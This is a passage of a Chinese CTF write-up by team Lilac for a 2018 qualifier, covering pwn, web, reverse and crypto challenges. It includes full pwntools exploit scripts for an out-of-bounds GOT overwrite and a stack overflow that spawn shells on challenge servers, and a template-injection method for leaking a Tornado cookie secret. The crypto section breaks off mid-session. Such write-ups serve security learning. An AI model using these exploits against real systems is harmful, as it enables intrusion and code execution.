2018护网杯预选赛

TEAM:Lilac


Pwn

shoppingcart

good的modify函数存在越界读写,.data上有个指针0x202068指向自身,可以modify它来leak程序加载的基址,然后modify存放currency的数组(比如currency[0])在存放currency type的位置伪造指向got表的指针,这里选取了malloc@got,再次modify currency[0]可以拿到libc的地址,然后modify currency[1],让currency[1]的type的内容也就是type[1]指向type[0],最后modify type[1]修改malloc@got为one_gadget。

from pwn import *

def addmoney(content):
    p.recvuntil("EMMmmm, you will be a rich man!\n")
    p.sendline("1")
    p.recvuntil("RMB or Dollar?\n")
    p.sendline(content)

def addgood(size,name):
    p.recvuntil("Now, buy buy buy!\n")
    p.sendline("1")
    p.recvuntil("How long is your goods name?\n")
    p.sendline(str(size))
    p.recvuntil("What is your goods name?\n")
    p.send(str(name))

def deletegood(index):
    p.recvuntil("Now, buy buy buy!\n")
    p.sendline("2")
    p.recvuntil("Which goods that you don't need?\n")
    p.sendline(str(index))

p = remote("49.4.94.186", 30860)
#p = process("./task_shoppingCart")

malloc_got = 0x202050
malloc_so = 0x84130

addmoney("1"*7)
addmoney("2"*7)
#index1 = 0x1fffffffffffffd1L
index1 = (0x010000000000202068 - 0x2021e0)/8
p.sendline("3")

p.recvuntil("Now, buy buy buy!\n")
p.sendline("3")
p.recvuntil("Which goods you need to modify?\n")
p.sendline(str(index1))
p.recvuntil("OK, what would you like to modify ")
elf = u64(p.recv(6).ljust(8,"\x00")) - 0x202068
print hex(elf)
p.send(p64(elf + 0x202068)[0:6])

index2 = (0x202140 + 0x010000000000000000 - 0x2021e0) / 8#money[0]
p.recvuntil("Now, buy buy buy!\n")
p.sendline("3")
p.recvuntil("Which goods you need to modify?\n")
p.sendline(str(index2))
p.recvuntil("OK, what would you like to modify ")
p.send(p64(elf + malloc_got)[0:6])

index3 = (0x202148 + 0x010000000000000000 - 0x2021e0) / 8#money[1]
p.recvuntil("Now, buy buy buy!\n")
p.sendline("3")
p.recvuntil("Which goods you need to modify?\n")
p.sendline(str(index3))
p.recvuntil("OK, what would you like to modify ")
p.send(p64(elf + 0x2020a0)[0:6])

index4 = (0x2020a8 + 0x010000000000000000 - 0x2021e0) / 8#
p.recvuntil("Now, buy buy buy!\n")
p.sendline("3")
p.recvuntil("Which goods you need to modify?\n")
p.sendline(str(index4))
p.recvuntil("OK, what would you like to modify ")
malloc = u64(p.recv(6).ljust(8,"\x00"))
print "malloc: " + hex(malloc)
p.send(p64(malloc)[0:6])
libc = malloc - malloc_so

one_gadget = 0xf1147
one_gadget += libc
p.recvuntil("Now, buy buy buy!\n")
p.sendline("3")
p.recvuntil("Which goods you need to modify?\n")
p.sendline(str(index4))
p.recvuntil("OK, what would you like to modify ")

p.send(p64(one_gadget)[0:6])
p.sendline("1")
p.sendline("1")

p.interactive()

gettingstart

程序存在栈溢出,只需要覆盖对应位置的值通过检查就可以getshell

from pwn import *

io = remote("117.78.26.97", 31282)

io.send('a' * 0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A))
io.interactive()

Web

easy_tornado

根据题目描述可知使用了tornoda框架,进去后根据提示信息render和需要cookiesecret猜测会存在ssti,把签名改成错误跳转到error,error页面存在ssti,过滤了`"%'()*+/=[]|`和一些关键字,需要获取cookie_secret,查找文档找到handler.settings保存了配置信息,通过{{handler.settings}}获取cookie_secret,构造签名读取flag。


Reverse

rerere

通过搜索字符串找到程序校验位置,分析虚表中的函数,发现这又是一个虚拟机,因此只需要按照套路将每一个虚拟机的指令分析清楚,最终分析得到的虚表是这样的:

.rdata:004031CC ; const RE::`vftable'
.rdata:004031CC ??_7RE@@6B@     dd offset assign_hi     ; DATA XREF: sub_4016A0+46↑o
.rdata:004031D0                 dd offset get_par_hi
.rdata:004031D4                 dd offset inc_ip
.rdata:004031D8                 dd offset get_par_lo
.rdata:004031DC                 dd offset dec_assign_hi
.rdata:004031E0                 dd offset add_to_hi
.rdata:004031E4                 dd offset subs_to_hi
.rdata:004031E8                 dd offset inc_assign_hi
.rdata:004031EC                 dd offset xor_to_hi
.rdata:004031F0                 dd offset and_to_hi
.rdata:004031F4                 dd offset mul_to_hi
.rdata:004031F8                 dd offset mod_to_hi
.rdata:004031FC                 dd offset push_hi
.rdata:00403200                 dd offset assign_lo_to_hi
.rdata:00403204                 dd offset load_to_hi
.rdata:00403208                 dd offset push
.rdata:0040320C                 dd offset pop
.rdata:00403210                 dd offset store
.rdata:00403214                 dd offset j_flag_neg1
.rdata:00403218                 dd offset j_flag_1
.rdata:0040321C                 dd offset j_not_flag
.rdata:00403220                 dd offset jmp_bck_cnt
.rdata:00403224                 dd offset cmp_hi_to_lo
.rdata:00403228                 dd offset inc_mem_ptr
.rdata:0040322C                 dd offset dec_mem_ptr
.rdata:00403230                 dd offset xor_block
.rdata:00403234                 dd offset init_regs
.rdata:00403238                 dd offset get_res
.rdata:0040323C                 dd offset execute_vm

其中名字中hi表示目标寄存器编号,lo表示源寄存器编号
execute_vm是执行虚拟机代码的函数,执行程序中硬编码的一段虚拟机指令。
在ida中新建一个结构,将各个偏移的名字填上虚表函数名,就可以在execute_vm中看到opcode所对应的具体函数是什么了。
通过分析这些函数的操作也很容易确定虚拟机的结构:

00000000 Vm              
00000000 vtable          dd ?                   
00000004 reg0            dd ?
00000008 reg1            dd ?
0000000C reg2            dd ?
00000010 cnt             dd ?
00000014 flag            dd ?
00000018 maybe_mem       dd ?
0000001C field_1C        dd ?
00000020 stack           dd ?
00000024 ip_ptr          dd ?

于是可以写python脚本将opcode还原成易读的伪汇编语言的形式

code = [79, 0, 0, 0, 47, 85, 5, 84, 48, 70, 0, 71, 34, 72, 2, 75, 51, 73, 79, 0, 0, 0, 70, 84, 16, 72, 1, 77, 39, 79, 0, 0, 0, 48, 84, 16, 72, 1, 68, 22, 79, 0, 0, 0, 57, 84, 16, 72, 1, 68, 11, 79, 0, 0, 0, 65, 84, 1, 72, 1, 68, 6, 71, 0, 72, 0, 75, 5, 71, 0, 80, 0, 67, 85, 64, 79, 0, 0, 0, 7, 84, 48, 71, 17, 86, 70, 0, 79, 0, 0, 0, 48, 84, 32, 89, 2, 79, 0, 0, 0, 10, 84, 32, 72, 2, 68, 9, 79, 0, 0, 0, 7, 84, 32, 89, 2, 79, 0, 0, 0, 16, 84, 32, 88, 18, 83, 16, 85, 43, 79, 51, 180, 136, 172, 84, 32, 72, 18, 71, 0, 75, 3, 80, 0, 67, 79, 0, 0, 0, 7, 84, 48, 71, 17, 86, 70, 0, 79, 0, 0, 0, 48, 84, 32, 89, 2, 79, 0, 0, 0, 10, 84, 32, 72, 2, 68, 9, 79, 0, 0, 0, 7, 84, 32, 89, 2, 79, 0, 0, 0, 16, 84, 32, 88, 18, 83, 16, 85, 43, 79, 74, 11, 148, 63, 84, 32, 72, 18, 71, 0, 75, 3, 80, 0, 67, 79, 0, 0, 0, 7, 84, 48, 71, 17, 86, 70, 0, 79, 0, 0, 0, 48, 84, 32, 89, 2, 79, 0, 0, 0, 10, 84, 32, 72, 2, 68, 9, 79, 0, 0, 0, 7, 84, 32, 89, 2, 79, 0, 0, 0, 16, 84, 32, 88, 18, 83, 16, 85, 43, 79, 124, 92, 220, 236, 84, 32, 72, 18, 71, 0, 75, 3, 80, 0, 67, 79, 0, 0, 0, 7, 84, 48, 71, 17, 86, 70, 0, 79, 0, 0, 0, 48, 84, 32, 89, 2, 79, 0, 0, 0, 10, 84, 32, 72, 2, 68, 9, 79, 0, 0, 0, 7, 84, 32, 89, 2, 79, 0, 0, 0, 16, 84, 32, 88, 18, 83, 16, 85, 43, 79, 57, 41, 117, 27, 84, 32, 72, 18, 71, 0, 75, 3, 80, 0, 67, 79, 0, 0, 0, 7, 84, 48, 71, 17, 86, 70, 0, 79, 0, 0, 0, 48, 84, 32, 89, 2, 79, 0, 0, 0, 10, 84, 32, 72, 2, 68, 9, 79, 0, 0, 0, 7, 84, 32, 89, 2, 79, 0, 0, 0, 16, 84, 32, 88, 18, 83, 16, 85, 43, 79, 30, 242, 107, 45, 84, 32, 72, 18, 71, 0, 75, 3, 80, 0, 67, 79, 0, 0, 0, 7, 84, 48, 71, 17, 86, 70, 0, 79, 0, 0, 0, 48, 84, 32, 89, 2, 79, 0, 0, 0, 10, 84, 32, 72, 2, 68, 9, 79, 0, 0, 0, 7, 84, 32, 89, 2, 79, 0, 0, 0, 16, 84, 32, 88, 18, 83, 16, 85, 43, 79, 131, 141, 181, 46, 84, 32, 72, 18, 71, 0, 75, 2, 80, 0, 67]

opcodes = {67: ("return result", 1),
68: ("j_flag_neg1", 2),
69: ("mod_to_hi", 2),
70: ("load_to_hi", 2),
71: ("xor_to_hi", 2),
72: ("cmp_hi_to_lo", 2),
73: ("inc_mem_ptr", 1),
74: ("and_to_hi", 2),
75: ("j_not_flag", 2),
76: ("xor_block", 16),
77: ("j_flag_1", 2),
78: ("dec_assign_hi", 2),
79: ("push", 5),
80: ("inc_assign_hi", 2),
81: ("assign_lo_to_hi", 2),
82: ("push hi", 2),
83: ("add_to_hi", 2),
84: ("pop hi", 2),
85: ("jmp_bck_cnt", 2),
86: ("dec_mem_ptr", 1),
87: ("store hi", 2),
88: ("mul_to_hi", 2),
89: ("subs_to_hi", 2)}

pc = 0
while pc != len(code):
    opcode = code[pc]
    name = opcodes[opcode][0]
    length = opcodes[opcode][1]
    print "%03x\t" % pc, 
    print name, 
    if length == 1:
        print
        pc += 1
    elif length == 2:
        if 'hi' in name:
            print code[pc+1] >> 4, code[pc+1] & 0xf
        else:
            print hex(code[pc+1])
        pc += 2
    elif length == 5:
        num = (code[pc+1] << 24) | (code[pc+2] << 16) | (code[pc+3] << 8) | (code[pc+4] << 0)
        print hex(num)
        pc += 5
    elif length == 16:
        print
        for i in range(15):
            code[i + pc + 1] ^= 0x66
        pc += 16

运行得到如下输出(输出中注释是分析过程

000 push 0x2f
005 jmp_bck_cnt 0x5
007 pop hi 3 0
009 load_to_hi 0 0
00b xor_to_hi 2 2
00d cmp_hi_to_lo 0 2
00f j_not_flag 0x33 => 0x44
011 inc_mem_ptr
012 push 0x46
017 pop hi 1 0
019 cmp_hi_to_lo 0 1
01b j_flag_1 0x27 => 0x44
01d push 0x30
022 pop hi 1 0
024 cmp_hi_to_lo 0 1
026 j_flag_neg1 0x16 => 0x3e
028 push 0x39
02d pop hi 1 0
02f cmp_hi_to_lo 0 1
031 j_flag_neg1 0xb => 0x3e
033 push 0x41
038 pop hi 0 1
03a cmp_hi_to_lo 0 1
03c j_flag_neg1 0x6 => 0x44
03e xor_to_hi 0 0
040 cmp_hi_to_lo 0 0
042 j_not_flag 0x5 => 0x49
fail:
044 xor_to_hi 0 0
046 inc_assign_hi 0 0
048 return result
049 jmp_bck_cnt 0x40
(check hex digits)

04b push 0x7        
050 pop hi 3 0      // cnt = 0x7
052 xor_to_hi 1 1   // reg[1] = 0
back:
054 dec_mem_ptr
055 load_to_hi 0 0  // reg[0] = c
057 push 0x30
05c pop hi 2 0      // reg[2] = 0x30
05e subs_to_hi 0 2  // c-=0x30
060 push 0xa
065 pop hi 2 0      // reg[2] = 10
067 cmp_hi_to_lo 0 2
069 j_flag_neg1 0x9 // c < 10 => less_than_10
06b push 0x7
070 pop hi 2 0      // reg[2] = 7
072 subs_to_hi 0 2  // c-=7
less_than_10:
074 push 0x10
079 pop hi 2 0
07b mul_to_hi 1 2   i << 4
07d add_to_hi 1 0   i += c
07f jmp_bck_cnt 0x2b => back
081 push 0x33b488ac
086 pop hi 2 0
088 cmp_hi_to_lo 1 2
08a xor_to_hi 0 0
08c j_not_flag 0x3
08e inc_assign_hi 0 0
090 return result
(后七个字符为 "33b488ac"[::-1])

091 push 0x7
096 pop hi 3 0
098 xor_to_hi 1 1
09a dec_mem_ptr
09b load_to_hi 0 0
09d push 0x30
0a2 pop hi 2 0
0a4 subs_to_hi 0 2
0a6 push 0xa
0ab pop hi 2 0
0ad cmp_hi_to_lo 0 2
0af j_flag_neg1 0x9
0b1 push 0x7
0b6 pop hi 2 0
0b8 subs_to_hi 0 2
0ba push 0x10
0bf pop hi 2 0
0c1 mul_to_hi 1 2
0c3 add_to_hi 1 0
0c5 jmp_bck_cnt 0x2b
0c7 push 0x4a0b943f
0cc pop hi 2 0
0ce cmp_hi_to_lo 1 2
0d0 xor_to_hi 0 0
0d2 j_not_flag 0x3
0d4 inc_assign_hi 0 0
0d6 return result
0d7 push 0x7
0dc pop hi 3 0
0de xor_to_hi 1 1
0e0 dec_mem_ptr
0e1 load_to_hi 0 0
0e3 push 0x30
0e8 pop hi 2 0
0ea subs_to_hi 0 2
0ec push 0xa
0f1 pop hi 2 0
0f3 cmp_hi_to_lo 0 2
0f5 j_flag_neg1 0x9
0f7 push 0x7
0fc pop hi 2 0
0fe subs_to_hi 0 2
100 push 0x10
105 pop hi 2 0
107 mul_to_hi 1 2
109 add_to_hi 1 0
10b jmp_bck_cnt 0x2b
10d push 0x7c5cdcec
112 pop hi 2 0
114 cmp_hi_to_lo 1 2
116 xor_to_hi 0 0
118 j_not_flag 0x3
11a inc_assign_hi 0 0
11c return result
11d push 0x7
122 pop hi 3 0
124 xor_to_hi 1 1
126 dec_mem_ptr
127 load_to_hi 0 0
129 push 0x30
12e pop hi 2 0
130 subs_to_hi 0 2
132 push 0xa
137 pop hi 2 0
139 cmp_hi_to_lo 0 2
13b j_flag_neg1 0x9
13d push 0x7
142 pop hi 2 0
144 subs_to_hi 0 2
146 push 0x10
14b pop hi 2 0
14d mul_to_hi 1 2
14f add_to_hi 1 0
151 jmp_bck_cnt 0x2b
153 push 0x3929751b
158 pop hi 2 0
15a cmp_hi_to_lo 1 2
15c xor_to_hi 0 0
15e j_not_flag 0x3
160 inc_assign_hi 0 0
162 return result
163 push 0x7
168 pop hi 3 0
16a xor_to_hi 1 1
16c dec_mem_ptr
16d load_to_hi 0 0
16f push 0x30
174 pop hi 2 0
176 subs_to_hi 0 2
178 push 0xa
17d pop hi 2 0
17f cmp_hi_to_lo 0 2
181 j_flag_neg1 0x9
183 push 0x7
188 pop hi 2 0
18a subs_to_hi 0 2
18c push 0x10
191 pop hi 2 0
193 mul_to_hi 1 2
195 add_to_hi 1 0
197 jmp_bck_cnt 0x2b
199 push 0x1ef26b2d
19e pop hi 2 0
1a0 cmp_hi_to_lo 1 2
1a2 xor_to_hi 0 0
1a4 j_not_flag 0x3
1a6 inc_assign_hi 0 0
1a8 return result
1a9 push 0x7
1ae pop hi 3 0
1b0 xor_to_hi 1 1
1b2 dec_mem_ptr
1b3 load_to_hi 0 0
1b5 push 0x30
1ba pop hi 2 0
1bc subs_to_hi 0 2
1be push 0xa
1c3 pop hi 2 0
1c5 cmp_hi_to_lo 0 2
1c7 j_flag_neg1 0x9
1c9 push 0x7
1ce pop hi 2 0
1d0 subs_to_hi 0 2
1d2 push 0x10
1d7 pop hi 2 0
1d9 mul_to_hi 1 2
1db add_to_hi 1 0
1dd jmp_bck_cnt 0x2b
1df push 0x838db52e
1e4 pop hi 2 0
1e6 cmp_hi_to_lo 1 2
1e8 xor_to_hi 0 0
1ea j_not_flag 0x2
1ec inc_assign_hi 0 0
1ee return result

分析到090观察到下面都是类似的代码结构,之后直接还原flag就可以了,只需要把比较的十六进制字符串按端序从后往前拼接起来得到
flag{E25BD838D2B62FE1B1579293CECDC5C7F349B0A4CA884B33}


Crypto

fez

tmctf一道题类似,不过这个更加简单一点,直接表明了迭代了七次:
解密见下:

In [30]: test = "6c34525bcc8c004abbb2815031542849daeade4f774425a6a49e545188f670ce4667df9
    ...: db0b7ded2a25cdaa6e2a26f0d384d9699988f"

In [31]: c1 = "8cf87cc3c55369255b1c0dd4384092026aea1e37899675de8cd3a097f00a14a772ff13524
    ...: 0fd03e77c9da02d7a2bc590fe797cfee990"

In [32]: len(c1)
Out[32]: 108

In [33]: c2 = "ec42b9876a716393a8d1776b7e4be84511511ba579404f59956ce6fd12fc6cbfba909c6e5
    ...: a6ab3e746aec5d31dc62e480009317af1bb"

In [34]: len(c2)
Out[34]: 108

In [35]: xor(xor(test[27:],c1[:27],c2[:27]))
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
<ipython-input-35-fd334b365ad0> in <module>()
----> 1 xor(xor(test[27:],c1[:27],c2[:27]))

TypeError: xor() takes exactly 2 arguments (3 given)

In [36]: xor(xor(test[27:],c1[:27]),c2[:27]))
  File "<ipython-input-36-407099a1f2b3>", line 1
    xor(xor(test[27:],c1[:27]),c2[:27]))
                                       ^
SyntaxError: invalid syntax


In [37]: xor(xor(test[27:],c1[:27]),c2[:27])
---------------------------------------------------------------------------
AssertionError                            Traceback (most recent call last)
<ipython-input-37-f841af8bcd6a> in <module>()
----> 1 xor(xor(test[27:],c1[:27]),c2[:27])

<ipython-input-27-5e9cc4cd38d4> in xor(a, 

       
       
       

    

Hacking more

...